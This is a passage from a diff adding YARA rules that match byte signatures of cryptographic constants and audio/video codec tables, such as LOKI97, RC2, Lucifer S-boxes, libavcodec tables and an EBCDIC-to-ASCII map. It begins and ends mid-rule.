+	$a0 = { 1b00000032000000330000005a0000003b0000001000000017000000540000005b0000001a00000072000000730000006b0000002c00000066000000490000001f00000024000000130000006c000000370000002e0000003f0000004a0000005d0000000f000000400000005600000025000000510000001c000000040000000b00000046000000200000000d0000007b0000003500000044000000420000002b0000001e00000041000000140000004b00000079000000150000006f0000000e000000550000000900000036000000740000000c0000006700000053000000280000000a0000007e00000038000000020000000700000060000000290000001900000012000000650000002f000000300000003900000008000000680000005f000000780000002a0000004c0000006400000045000000750000003d000000590000004800000003000000570000007c0000004f000000620000003c0000001d000000210000005e000000270000006a000000700000004d0000003a000000010000006d0000006e0000006300000018000000770000002300000005000000260000007600000000000000310000002d0000007a0000007f00000061000000500000002200000011000000060000004700000016000000520000004e000000710000003e0000006900000043000000340000005c000000580000007d000000 }
+
+condition:
+	$a0
+}
+
+	
+rule LOKI97_values__32_big_AND_
+{
+strings:
+	$a0 = { 00002911[0-20]00002000[0-20]00000aa7[0-20]00000800[0-20]9e3779b9[0-20]7f4a7c15 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_DV_dv_vlc_bits__16_big_818_
+{
+strings:
+	$a0 = { 000000020007000800090014001500160017003000310032003300680069006a006b006c006d006e006f00e000e100e200e300e400e500e600e700e800e900ea00eb00ec00ed00ee00ef01e001e101e201e301e401e501e601e701e801e901ea01eb01ec01ed01ee01ef03e003e103e203e303e403e503e607ce07cf07d007d107d207d307d407d50fac0fad0fae0faf0fb00fb10fb20fb30fb40fb50fb60fb70fb80fb90fba0fbb0fbc0fbd0fbe0fbf1f801f811f821f831f841f851f861f871f881f891f8a1f8b1f8c1f8d1f8e1f8f1f901f911f921f931f941f951f961f971f981f991f9a1f9b1f9c1f9d1f9e1f9f1fa01fa11fa21fa31fa41fa51fa61fa71fa81fa91faa1fab1fac1fad1fae1faf1fb01fb11fb21fb31fb41fb51fb61fb71fb81fb91fba1fbb1fbc1fbd1fbe1fbf7f007f017f027f037f047f057f067f077f087f097f0a7f0b7f0c7f0d7f0e7f0f7f107f117f127f137f147f157f167f177f187f197f1a7f1b7f1c7f1d7f1e7f1f7f207f217f227f237f247f257f267f277f287f297f2a7f2b7f2c7f2d7f2e7f2f7f307f317f327f337f347f357f367f377f387f397f3a7f3b7f3c7f3d7f3e7f3f7f407f417f427f437f447f457f467f477f487f497f4a7f4b7f4c7f4d7f4e7f4f7f507f517f527f537f547f557f567f577f587f597f5a7f5b7f5c7f5d7f5e7f5f7f607f617f627f637f647f657f667f677f687f697f6a7f6b7f6c7f6d7f6e7f6f7f707f717f727f737f747f757f767f777f787f797f7a7f7b7f7c7f7d7f7e7f7f7f807f817f827f837f847f857f867f877f887f897f8a7f8b7f8c7f8d7f8e7f8f7f907f917f927f937f947f957f967f977f987f997f9a7f9b7f9c7f9d7f9e7f9f7fa07fa17fa27fa37fa47fa57fa67fa77fa87fa97faa7fab7fac7fad7fae7faf7fb07fb17fb27fb37fb47fb57fb67fb77fb87fb97fba7fbb7fbc7fbd7fbe7fbf7fc07fc17fc27fc37fc47fc57fc67fc77fc87fc97fca7fcb7fcc7fcd7fce7fcf7fd07fd17fd27fd37fd47fd57fd67fd77fd87fd97fda7fdb7fdc7fdd7fde7fdf7fe07fe17fe27fe37fe47fe57fe67fe77fe87fe97fea7feb7fec7fed7fee7fef7ff07ff17ff27ff37ff47ff57ff67ff77ff87ff97ffa7ffb7ffc7ffd7ffe7fff0006 }
+
+condition:
+	$a0
+}
+
+	
+rule LD_CELP_G_728_cb_gain_sq__flt32___32_lil_32_
+{
+strings:
+	$a0 = { 0020883e0071503f84961f407a5ef4400020883e0071503f84961f407a5ef440 }
+
+condition:
+	$a0
+}
+
+	
+rule RRC2___Ron_Rivest_Cipher_Nr__2_Pad__8_byt_256_
+{
+strings:
+	$a0 = { 9ebadf614091bebe75d9a346ceb0b7c2922bf88d033648dfe9995bd22483f4a1697871bf715613f5d5dd2b1bf29d49d5c15ca60a17c5706ec11e9c337d339e43c5d73bda6ef6b500874ca4612f57ea6c907f0606deac509016f5cf46e3b6928677b0493a874517c600aa20abb0815b187e4df8007645393cbeabd93d88a9c454a8a7a366df40aeb2a6eff2c3f95c3b26f12eec1f3b72173277ba0742d461deb6e6767a56695cb3f3ffbddfa4c2d7622c1114359989e0b064d07224c89196d714572cfc14ebf2a3843f12057a4a6122618e5692ddb3a6a14a45b65878803a4c9b0f1e4dd8a5756b5aa97f8fb5d089c87faac31a54ff84963a67fa78dded250863 }
+
+condition:
+	$a0
+}
+
+	
+rule MD5_constants__32_lil_AND_
+{
+strings:
+	$a0 = { 01234567[0-20]77543210[0-20]02234567[0-20]76543210 }
+
+condition:
+	$a0
+}
+
+	
+rule G_723_24__fitab__16_big_16_
+{
+strings:
+	$a0 = { 0000020004000e000e00040002000000 }
+
+condition:
+	$a0
+}
+
+	
+rule Lucifer__smith__s1__32_lil_64_
+{
+strings:
+	$a0 = { 07000000020000000e00000009000000030000000b00000000000000040000000c0000000d000000010000000a000000060000000f0000000800000005000000 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_rv40_aic_table_index__16_lil_40_
+{
+strings:
+	$a0 = { 00000001000211001101110211051106220022012202220772022702220882022802120116012102 }
+
+condition:
+	$a0
+}
+
+	
+rule BGMC_Cumulative_frequency_table_10__16_lil_386_
+{
+strings:
+	$a0 = { 0040313f623e943dc63cf93b2c3b603a9439c938fe3734376a36a135d93412344b338532bf31fb303730762fb52ef62d382d7c2cc02b072b4e2a9729e1282d287927c52611266025af2402245523ac2203225d21b7201520731fd61e391e9f1d051d6d1cd51b411bae1a1f1a901906197c18f5176e17ec166a16ec156f15f4147914fe1383130b1393122012ad113e11d0106610fc0f960f300fce0e6d0e100eb30d570dfb0ca30c4b0cf80ba50b560b070bba0a6e0a220ada0992094e090a09c808860844080208c307840748070c07d4069c0666063106fe05cc059d056e0542051605ea04bf0496046d0447042104fd03da03b8039603770358033b031e030203e602ca02ae02930278025f0246022f0218020202ec01d801c401b1019f018e017d016c015c014d013e013001220115010801fc00f000e500da00d000c600bc00b200a8009e0095008c0084007c0074006c0065005e00570051004b00450040003b00360031002c00270023001f001b00170013000f000c000900060003000000 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_indeo3_corrector_type_0__8_byt_24_
+{
+strings:
+	$a0 = { c39f8573655d574dc39f8573655d574d804f4f4f4f4f4f4f }
+
+condition:
+	$a0
+}
+
+	
+rule libfaad2_mnt_table__flt64___64_lil_1024_
+{
+strings:
+	$a0 = { 000000000080ee3f000000000040ee3f000000000000ee3f0000000000c0ed3f0000000000a0ed3f000000000060ed3f000000000020ed3f0000000000e0ec3f0000000000c0ec3f000000000080ec3f000000000040ec3f000000000020ec3f0000000000e0eb3f0000000000c0eb3f000000000080eb3f000000000040eb3f000000000020eb3f0000000000e0ea3f0000000000c0ea3f000000000080ea3f000000000060ea3f000000000040ea3f000000000000ea3f0000000000e0e93f0000000000a0e93f000000000080e93f000000000060e93f000000000020e93f000000000000e93f0000000000e0e83f0000000000c0e83f000000000080e83f000000000060e83f000000000040e83f000000000020e83f000000000000e83f0000000000c0e73f0000000000a0e73f000000000080e73f000000000060e73f000000000040e73f000000000020e73f000000000000e73f0000000000e0e63f0000000000c0e63f0000000000a0e63f000000000060e63f000000000040e63f000000000020e63f000000000000e63f0000000000e0e53f0000000000c0e53f0000000000c0e53f0000000000a0e53f000000000080e53f000000000060e53f000000000040e53f000000000020e53f000000000000e53f0000000000e0e43f0000000000c0e43f0000000000a0e43f000000000080e43f000000000080e43f000000000060e43f000000000040e43f000000000020e43f000000000000e43f0000000000e0e33f0000000000e0e33f0000000000c0e33f0000000000a0e33f000000000080e33f000000000060e33f000000000060e33f000000000040e33f000000000020e33f000000000000e33f000000000000e33f0000000000e0e23f0000000000c0e23f0000000000a0e23f0000000000a0e23f000000000080e23f000000000060e23f000000000060e23f000000000040e23f000000000020e23f000000000020e23f000000000000e23f0000000000e0e13f0000000000e0e13f0000000000c0e13f0000000000a0e13f0000000000a0e13f000000000080e13f000000000060e13f000000000060e13f000000000040e13f000000000040e13f000000000020e13f000000000000e13f000000000000e13f0000000000e0e03f0000000000e0e03f0000000000c0e03f0000000000a0e03f0000000000a0e03f000000000080e03f000000000080e03f000000000060e03f000000000060e03f000000000040e03f000000000040e03f000000000020e03f000000000020e03f000000000000e03f0000000000e0df3f0000000000c0df3f0000000000a0df3f000000000080df3f000000000060df3f000000000040df3f000000000020df3f000000000000df3f0000000000e0de3f0000000000c0de3f0000000000a0de3f }
+
+condition:
+	$a0
+}
+
+	
+rule LD_CELP_G_728_hw_synth__flt64___64_lil_840_
+{
+strings:
+	$a0 = { df182d00c043e33f5fc1d0ff7f67e33f3fdafdff3f8be33f277edbff3fafe33fdf182d00c0d3e33fa13e2f0080f8e33f62643100401de43f95101e008042e43fd047bbffff67e43f6befe1ff7f8de43f771df3ff7fb3e43feb463e00c0d9e43f68fb39004000e53f563620004027e53f44710600404ee53f9ba726008075e53f62643100409de53f33acecff3fc5e53f6befe1ff7fede53f0c2e11000016e63fb6f7f0ffbf3ee63fc7bc0a00c067e63f4a080f004091e63fd6dec3ffffbae63f2a213c0000e5e63f277edbff3f0fe73ff4d1eeffff39e73fc1250200c064e73f000000000090e73fa7d5370080bbe73f5fc1d0ff7fe7e73f771df3ff7f13e83f000000000040e83ffa68f7ffff6ce83ff4d1eeffff99e83f5fc1d0ff7fc7e83f33acecff3ff5e83f771df3ff7f23e93fbc8ef9ffbf51e93f7186eaff7f80e93f9804c6ffbfafe93f277edbff3fdfe93f1ef32a00000fea3f277edbff3f3fea3f9804c6ffbf6fea3f7186eaff7fa0ea3fbc8ef9ffbfd1ea3f6e9242004003eb3f33acecff3f35eb3f5fc1d0ff7f67eb3ff4d1eeffff99eb3ffa68f7ffffcceb3f7186eaff7f00ec3f509f17004034ec3f3943f5ff3f68ec3f926dbdffbf9cec3fbc8ef9ffbfd1ec3fee3ae6ffff06ed3f89e20c00803ced3f95101e008072ed3f12c5190000a9ed3f9804c6ffbfdfed3fee3ae6ffff16ee3fad6c4000804eee3f7db4fbff7f86ee3f1ef32a0000bfee3fc7bc0a00c0f7ee3fe20cd5ffff30ef3fcd531300c06aef3fc1250200c0a4ef3fa432d7ffbfd5ef3f509f170040f4ef3f9804c6ffbfffef3faac9dfffbff8ef3f277edbff3fdfef3f0697080000b3ef3fe8a3ddffff73ef3f069708000023ef3f8f79150080bfee3ff4d1eeffff49ee3f0697080000c3ed3f6558d9ff7f2aed3fe20cd5ffff80ec3fee3ae6ffffc6eb3f89e20c0080fcea3f2d15e4ff3f22ea3f12c519000039e93fd9812400c040e83f6558d9ff7f3ae73f7db4fbff7f26e63f9ba726008005e53fa13e2f0080d8e33f9804c6ffbf9fe23f185c2200005ce13f44710600400ee03fdc75ccffff6ddd3fad6c400080aeda3f30098cff7fdfd73f95101e008002d53f12c519000019d23f776e3affff4ace3f417d5e000051c83fb35490ffff48c23f9b56df00006eb83f656503020074a83f }
+
+condition:
+	$a0
+}
+
+	
+rule Bijective_EBCDIC__character_set_IBM_1047__to_US_ASCII_table__32_big_1024_
+{
+strings:
+	$a0 = { 000000000000000100000002000000030000008500000009000000860000007f000000870000008d0000008e0000000b0000000c0000000d0000000e0000000f000000100000001100000012000000130000008f0000000a000000080000009700000018000000190000009c0000009d0000001c0000001d0000001e0000001f000000800000008100000082000000830000008400000092000000170000001b00000088000000890000008a0000008b0000008c000000050000000600000007000000900000009100000016000000930000009400000095000000960000000400000098000000990000009a0000009b00000014000000150000009e0000001a00000020000000a0000000e2000000e4000000e0000000e1000000e3000000e5000000e7000000f1000000a20000002e0000003c000000280000002b0000007c00000026000000e9000000ea000000eb000000e8000000ed000000ee000000ef000000ec000000df00000021000000240000002a000000290000003b0000005e0000002d0000002f000000c2000000c4000000c0000000c1000000c3000000c5000000c7000000d1000000a60000002c000000250000005f0000003e0000003f000000f8000000c9000000ca000000cb000000c8000000cd000000ce000000cf000000cc000000600000003a0000002300000040000000270000003d00000022000000d8000000610000006200000063000000640000006500000066000000670000006800000069000000ab000000bb000000f0000000fd000000fe000000b1000000b00000006a0000006b0000006c0000006d0000006e0000006f000000700000007100000072000000aa000000ba000000e6000000b8000000c6000000a4000000b50000007e000000730000007400000075000000760000007700000078000000790000007a000000a1000000bf000000d00000005b000000de000000ae000000ac000000a3000000a5000000b7000000a9000000a7000000b6000000bc000000bd000000be000000dd000000a8000000af0000005d000000b4000000d70000007b000000410000004200000043000000440000004500000046000000470000004800000049000000ad000000f4000000f6000000f2000000f3000000f50000007d0000004a0000004b0000004c0000004d0000004e0000004f000000500000005100000052000000b9000000fb000000fc000000f9000000fa000000ff0000005c000000f7000000530000005400000055000000560000005700000058000000590000005a000000b2000000d4000000d6000000d2000000d3000000d500000030000000310000003200000033000000340000003500000036000000370000003800000039000000b3000000db000000dc000000d9000000da0000009f }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_indeo3_correctionloworder__32_lil_8188_
+{
+strings:
+	$a0 = { 0000000002020202fefdfdfdfffe02030101fdfc0303fffefdfc000104040404fcfbfbfb01010505fffefafa05050101fbfafefefcfb03040404fcfbfefd05060202faf90606fefdfaf9010204040909fcfbf6f609090404f7f6fbfb09090909f7f6f6f601010a0afffef5f50a0a0101f6f5fefefbfa07080505f8f70808fbfaf8f7040509090f0ff7f6f0f00f0f0909f1f0f6f6fdfc0b0c0303f4f30c0cfdfcf4f3020304041010fcfbefef10100404f0effbfb10101010f0efefef000012120000eeed12120000eeedfffff4f30b0c0c0cf4f3f7f60f100909f0ef1010f7f6f0ef08090b0b1b1bf5f4e4e41b1b0b0be5e4f4f413131c1cedece3e31c1c1313e4e3ececfaf915160606eae91616faf9eae9050604041d1dfcfbe2e21d1d0404e3e2fbfb1e1e1e1ee2e1e1e1fefd20210202dfde2121fefddfde0102eeed16171212e9e81717eeede9e81112f1f01d1e0f0fe2e11e1ef1f0e2e10e0f16162e2eeae9d1d12e2e1616d2d1e9e90d0d2f2ff3f2d0d02f2f0d0dd1d0f2f223233131dddccece31312323cfcedcdcf5f428290b0bd7d62929f5f4d7d60a0b04043333fcfbcccc33330404cdccfbfb36363636cac9c9c9dedd21222222dedde3e2292a1d1dd6d52a2ae3e2d6d51c1dfaf93b3c0606c4c33c3cfaf9c4c305061b1b4c4ce5e4b3b34c4c1b1bb4b3e4e42b2b4d4dd5d4b2b24d4d2b2bb3b2d4d4e8e736371818c9c83737e8e7c9c817180e0e4f4ff2f1b0b04f4f0e0eb1b0f1f13f3f5353c1c0acac53533f3fadacc0c0eceb494a1414b6b54a4aecebb6b5131402025858fefda7a758580202a8a7fdfd5d5d5d5da3a2a2a2cccb3c3d3434c3c23d3dcccbc3c2333434347878cccb8787787834348887cbcbd3d24a4b2d2db5b44b4bd3d2b5b42c2d4b4b7d7db5b482827d7d4b4b8382b4b421217a7adfde85857a7a21218685dedef3f266670d0d99986767f3f299980c0dd8d75f602828a09f6060d8d7a09f2728dedd7e7f222281807f7fdedd81802122a7a658595959a7a6b2b168694e4e97966969b2b197964d4e0c0c0c0cf4f3f3f317171717e9e8e8e82a2a2a2ad6d5d5d549494949b7b6b6b60000000000000000000000000000000000000000000000000000000002020202020202020202020202020202020202020202020202020202fefdfdfdfefdfdfdfefdfdfdfefdfdfdfefdfdfdfefdfdfdfefdfdfdfffe0203fffe0203fffe0203fffe0203fffe0203fffe0203fffe02030101fdfc0101fdfc0101fdfc0101fdfc0101fdfc0101fdfc0101fdfc0303fffe0303fffe0303fffe0303fffe0303fffe0303fffe0303fffefdfc0001fdfc0001fdfc0001fdfc0001fdfc0001fdfc0001fdfc00010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000003030303fdfcfcfcfffe03040101fcfb0404fffefcfb000107070707f9f8f8f802020808fefdf7f708080202f8f7fdfdfefd08090202f7f60909fefdf7f60102faf905060606faf906060d0dfaf9f2f20d0d0606f3f2f9f90d0d0d0df3f2f2f201010e0efffef1f10e0e0101f2f1fefef8f70b0c0808f4f30c0cf8f7f4f307080e0e1717f2f1e8e817170e0ee9e8f1f1fbfa11120505eeed1212fbfaeeed040506061818faf9e7e718180606e8e7f9f918181818e8e7e7e7fffe1a1b0101e5e41b1bfffee5e40001efee10111111efeef3f216170d0de9e81717f3f2e9e80c0d10102828f0efd7d728281010d8d7efef1c1c2929e4e3d6d629291c1cd7d6e3e3f7f620210909dfde2121f7f6dfde080906062b2bfaf9d4d42b2b0606d5d4f9f92e2e2e2ed2d1d1d1fcfb31320404cecd3232fcfbcecd0304e5e421221b1bdedd2222e5e4dedd1a1beae92c2d1616d3d22d2deae9d3d2151622224545deddbaba45452222bbbadddd13134646edecb9b946461313bab9ecec35354949cbcab6b649493535b7b6cacaefee3d3e1111c2c13e3eefeec2c1101105054d4dfbfab2b24d4d0505b3b2fafa52525252aeadadadcdcc32333333cdccd5d43f402b2bc0bf4040d5d4c0bf2a2bf6f5595a0a0aa6a55a5af6f5a6a5090a29297272d7d68d8d727229298e8dd6d640407474c0bf8b8b747440408c8bbfbfdbda51522525aead5252dbdaaead242516167777eae98888777716168988e9e95f5f7c7ca1a083837c7c5f5f8483a0a0e2e16e6f1e1e91906f6fe2e191901d1eb2b15b5c4e4ea4a35c5cb2b1a4a34d4ebcbb707144448f8e7171bcbb8f8e434412121212eeededed22222222dedddddd3f3f3f3fc1c0c0c06d6d6d6d93929292000000000000000000000000000000000000000000000000000000000000000000000000030303030303030303030303030303030303030303030303030303030303030303030303fdfcfcfcfdfcfcfcfdfcfcfcfdfcfcfcfdfcfcfcfdfcfcfcfdfcfcfcfdfcfcfcfdfcfcfcfffe0304fffe0304fffe0304fffe0304fffe0304fffe0304fffe0304fffe0304fffe03040101fcfb0101fcfb0101fcfb0101fcfb0101fcfb0101fcfb0101fcfb0101fcfb0101fcfb0404fffe0404fffe0404fffe0404fffe0404fffe0404fffe0404fffe0404fffe0404fffefcfb0001fcfb0001fcfb0001fcfb0001fcfb0001fcfb0001fcfb0001fcfb0001fcfb0001070707070707070707070707070707070707070707070707070707070707070707070707f9f8f8f8f9f8f8f8f9f8f8f8f9f8f8f8f9f8f8f8f9f8f8f8f9f8f8f8f9f8f8f8f9f8f8f8000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000004040404fcfbfbfbfffe04050101fbfa0505fffefbfa000103030a0afdfcf5f50a0a0303f6f5fcfc09090909f7f6f6f6f9f806070707f9f8fdfc0b0c0303f4f30c0cfdfcf4f3020308081111f8f7eeee11110808efeef7f711111111efeeeeee01011313fffeecec13130101edecfefef5f40f100b0bf0ef1010f5f4f0ef0a0bfaf916170606e9e81717faf9e9e8050612121f1feeede0e01f1f1212e1e0eded08082020f8f7dfdf20200808e0dff7f721212121dfdededefffe23240101dcdb2424fffedcdb0001e9e816171717e9e8efee1e1f1111e1e01f1fefeee1e0101115153636ebeac9c936361515cac9eaea25253737dbdac8c837372525c9c8dadaf4f32b2c0c0cd4d32c2cf4f3d4d30b0c08083939f8f7c6c639390808c7c6f7f73d3d3d3dc3c2c2c2fbfa41420505bebd4242fbfabebd0405dcdb2c2d2424d3d22d2ddcdbd3d22324e3e23b3c1d1dc4c33c3ce3e2c4c31c1d2d2d5c5cd3d2a3a35c5c2d2da4a3d2d219195d5de7e6a2a25d5d1919a3a2e6e647476161b9b89e9e616147479f9eb8b8eae952531616adac5353eae9adac151607076666f9f89999666607079a99f8f86d6d6d6d93929292bcbb43444444bcbbc7c654553939abaa5555c7c6abaa3839f3f277780d0d88877878f3f288870c0dcfce6d6e313192916e6ecfce9291303198977a7b686885847b7b98978584676818181818e8e7e7e72e2e2e2ed2d1d1d154545454acababab0000000000000000000000000000000000000000000000000000000000000000000000000000000004040404040404040404040404040404040404040404040404040404040404040404040404040404fcfbfbfbfcfbfbfbfcfbfbfbfcfbfbfbfcfbfbfbfcfbfbfbfcfbfbfbfcfbfbfbfcfbfbfbfcfbfbfbfffe0405fffe0405fffe0405fffe0405fffe0405fffe0405fffe0405fffe0405fffe0405fffe04050101fbfa0101fbfa0101fbfa0101fbfa0101fbfa0101fbfa0101fbfa0101fbfa0101fbfa0101fbfa0505fffe0505fffe0505fffe0505fffe0505fffe0505fffe0505fffe0505fffe0505fffe0505fffefbfa0001fbfa0001fbfa0001fbfa0001fbfa0001fbfa0001fbfa0001fbfa0001fbfa0001fbfa000103030a0a03030a0a03030a0a03030a0a03030a0a03030a0a03030a0a03030a0a03030a0a03030a0afdfcf5f5fdfcf5f5fdfcf5f5fdfcf5f5fdfcf5f5fdfcf5f5fdfcf5f5fdfcf5f5fdfcf5f5fdfcf5f50a0a03030a0a03030a0a03030a0a03030a0a03030a0a03030a0a03030a0a03030a0a03030a0a030300000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000005050505fbfafafafefd06070202f9f80707fefdf9f801020b0b0b0bf5f4f4f403030d0dfdfcf2f20d0d0303f3f2fcfcf7f608090909f7f6fcfb0e0f0404f1f00f0ffcfbf1f003040b0b1616f5f4e9e916160b0beae9f4f415151515ebeaeaea02021818fefde7e718180202e8e7fdfdf2f113140e0eeceb1414f2f1eceb0d0e17172626e9e8d9d926261717dad9e8e8f8f71c1d0808e3e21d1df8f7e3e207080b0b2727f5f4d8d827270b0bd9d8f4f429292929d7d6d6d6fffe2c2d0101d3d22d2dfffed3d20001e3e21c1d1d1de3e2eae926271616d9d82727eae9d9d815161b1b4343e5e4bcbc43431b1bbdbce4e42f2f4545d1d0baba45452f2fbbbad0d0f1f037380f0fc8c73838f1f0c8c70e0f0b0b4747f5f4b8b847470b0bb9b8f4f44c4c4c4cb4b3b3b3faf952530606adac5353faf9adac0506d3d238392d2dc7c63939d3d2c7c62c2ddcdb4a4b2424b5b44b4bdcdbb5b4232438387373c8c78c8c737338388d8cc7c71f1f7575e1e08a8a75751f1f8b8ae0e058587a7aa8a785857a7a58588685a7a7e4e367681c1c98976868e4e398971b1cabaa54555555abaab8b7696a484896956a6ab8b7969547481e1e1e1ee2e1e1e13a3a3a3ac6c5c5c5696969699796969600000000000000000000000000000000000000000000000000000000000000000000000000000000000000000505050505050505050505050505050505050505050505050505050505050505050505050505050505050505fbfafafafbfafafafbfafafafbfafafafbfafafafbfafafafbfafafafbfafafafbfafafafbfafafafbfafafafefd0607fefd0607fefd0607fefd0607fefd0607fefd0607fefd0607fefd0607fefd0607fefd0607fefd06070202f9f80202f9f80202f9f80202f9f80202f9f80202f9f80202f9f80202f9f80202f9f80202f9f80202f9f80707fefd0707fefd0707fefd0707fefd0707fefd0707fefd0707fefd0707fefd0707fefd0707fefd0707fefdf9f80102f9f80102f9f80102f9f80102f9f80102f9f80102f9f80102f9f80102f9f80102f9f80102f9f801020b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0bf5f4f4f4f5f4f4f4f5f4f4f4f5f4f4f4f5f4f4f4f5f4f4f4f5f4f4f4f5f4f4f4f5f4f4f4f5f4f4f4f5f4f4f403030d0d03030d0d03030d0d03030d0d03030d0d03030d0d03030d0d03030d0d03030d0d03030d0d03030d0dfdfcf2f2fdfcf2f2fdfcf2f2fdfcf2f2fdfcf2f2fdfcf2f2fdfcf2f2fdfcf2f2fdfcf2f2fdfcf2f2fdfcf2f200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000006060606faf9f9f9fefd07080202f8f70808fefdf8f701020d0d0d0df3f2f2f204040f0ffcfbf0f00f0f0404f1f0fbfbf5f40a0b0b0bf5f4fbfa11120505eeed1212fbfaeeed04050d0d1a1af3f2e5e51a1a0d0de6e5f2f21a1a1a1ae6e5e5e502021d1dfefde2e21d1d0202e3e2fdfdf0ef17181010e8e71818f0efe8e70f101c1c2e2ee4e3d1d12e2e1c1cd2d1e3e3f7f622230909dddc2323f7f6dddc08090d0d2f2ff3f2d0d02f2f0d0dd1d0f2f231313131cfcececefffe35360101cac93636fffecac90001dddc22232323dddce6e52e2f1a1ad1d02f2fe6e5d1d0191a20205151e0dfaeae51512020afaedfdf38385353c8c7acac53533838adacc7c7eeed42431212bdbc4343eeedbdbc11120d0d5656f3f2a9a956560d0daaa9f2f25b5b5b5ba5a4a4a4f9f8626307079d9c6363f9f89d9c0607cac943443636bcbb4444cac9bcbb3536d4d3595a2c2ca6a55a5ad4d3a6a52b2cdfde7b7c212184837c7cdfde848320219998666767679998aaa97e7f565681807f7faaa98180555625252525dbdadada45454545bbbababa000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000060606060606060606060606060606060606060606060606060606060606060606060606060606060606060606060606faf9f9f9faf9f9f9faf9f9f9faf9f9f9faf9f9f9faf9f9f9faf9f9f9faf9f9f9faf9f9f9faf9f9f9faf9f9f9faf9f9f9fefd0708fefd0708fefd0708fefd0708fefd0708fefd0708fefd0708fefd0708fefd0708fefd0708fefd0708fefd07080202f8f70202f8f70202f8f70202f8f70202f8f70202f8f70202f8f70202f8f70202f8f70202f8f70202f8f70202f8f70808fefd0808fefd0808fefd0808fefd0808fefd0808fefd0808fefd0808fefd0808fefd0808fefd0808fefd0808fefdf8f70102f8f70102f8f70102f8f70102f8f70102f8f70102f8f70102f8f70102f8f70102f8f70102f8f70102f8f701020d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0df3f2f2f2f3f2f2f2f3f2f2f2f3f2f2f2f3f2f2f2f3f2f2f2f3f2f2f2f3f2f2f2f3f2f2f2f3f2f2f2f3f2f2f2f3f2f2f204040f0f04040f0f04040f0f04040f0f04040f0f04040f0f04040f0f04040f0f04040f0f04040f0f04040f0f04040f0ffcfbf0f0fcfbf0f0fcfbf0f0fcfbf0f0fcfbf0f0fcfbf0f0fcfbf0f0fcfbf0f0fcfbf0f0fcfbf0f0fcfbf0f0fcfbf0f00f0f04040f0f04040f0f04040f0f04040f0f04040f0f04040f0f04040f0f04040f0f04040f0f04040f0f04040f0f040400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000007070707f9f8f8f8fdfc090a0303f6f50a0afdfcf6f5020310101010f0efefef05051212fbfaeded12120505eeedfafaf3f20c0d0d0df3f2faf914150606ebea1515faf9ebea05060f0f1e1ef1f0e1e11e1e0f0fe2e1f0f01e1e1e1ee2e1e1e102022222fefddddd22220202deddfdfdedec1b1c1313e4e31c1cedece4e3121320203636e0dfc9c936362020cac9dfdff5f428290b0bd7d62929f5f4d7d60a0b0f0f3737f1f0c8c837370f0fc9c8f0f039393939c7c6c6c6fffe3e3f0101c1c03f3ffffec1c00001d8d727282828d8d7e2e136371e1ec9c83737e2e1c9c81d1e25255e5edbdaa1a15e5e2525a2a1dada41416060bfbe9f9f60604141a09fbebeebea4d4e1515b2b14e4eebeab2b114150f0f6464f1f09b9b64640f0f9c9bf0f06a6a6a6a96959595f8f7737408088c8b7474f8f78c8b0708c1c04e4f3f3fb1b04f4fc1c0b1b03e3fcdcc6869333397966969cdcc9796323388877778787888872b2b2b2bd5d4d4d450505050b0afafaf000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000070707070707070707070707070707070707070707070707070707070707070707070707070707070707070707070707f9f8f8f8f9f8f8f8f9f8f8f8f9f8f8f8f9f8f8f8f9f8f8f8f9f8f8f8f9f8f8f8f9f8f8f8f9f8f8f8f9f8f8f8f9f8f8f8fdfc090afdfc090afdfc090afdfc090afdfc090afdfc090afdfc090afdfc090afdfc090afdfc090afdfc090afdfc090a0303f6f50303f6f50303f6f50303f6f50303f6f50303f6f50303f6f50303f6f50303f6f50303f6f50303f6f50303f6f50a0afdfc0a0afdfc0a0afdfc0a0afdfc0a0afdfc0a0afdfc0a0afdfc0a0afdfc0a0afdfc0a0afdfc0a0afdfc0a0afdfcf6f50203f6f50203f6f50203f6f50203f6f50203f6f50203f6f50203f6f50203f6f50203f6f50203f6f50203f6f50203101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010f0efefeff0efefeff0efefeff0efefeff0efefeff0efefeff0efefeff0efefeff0efefeff0efefeff0efefeff0efefef050512120505121205051212050512120505121205051212050512120505121205051212050512120505121205051212fbfaededfbfaededfbfaededfbfaededfbfaededfbfaededfbfaededfbfaededfbfaededfbfaededfbfaededfbfaeded121205051212050512120505121205051212050512120505121205051212050512120505121205051212050512120505000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000008080808f8f7f7f7fdfc0a0b0303f5f40b0bfdfcf5f4020312121212eeededed05051414fbfaebeb14140505ecebfafaf1f00e0f0f0ff1f0f9f817180707e8e71818f9f8e8e7060711112323efeedcdc23231111dddceeee22222222dedddddd03032626fdfcd9d926260303dad9fcfceae91f201616e0df2020eae9e0df151625253d3ddbdac2c23d3d2525c3c2dadaf3f22e2f0d0dd1d02f2ff3f2d1d00c0d11113f3fefeec0c03f3f1111c1c0eeee41414141bfbebebefffe47480101b8b74848fffeb8b70001d2d12d2e2e2ed2d1dddc3e3f2323c1c03f3fdddcc1c022232b2b6b6bd5d494946b6b2b2b9594d4d44b4b6e6eb5b491916e6e4b4b9291b4b4e8e758591818a7a65959e8e7a7a6171811117272efee8d8d727211118e8deeee7979797987868686b8b75a5b4848a5a45b5bb8b7a5a44748c6c577783a3a88877878c6c58887393a31313131cfcecece5c5c5c5ca4a3a3a3000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808f8f7f7f7f8f7f7f7f8f7f7f7f8f7f7f7f8f7f7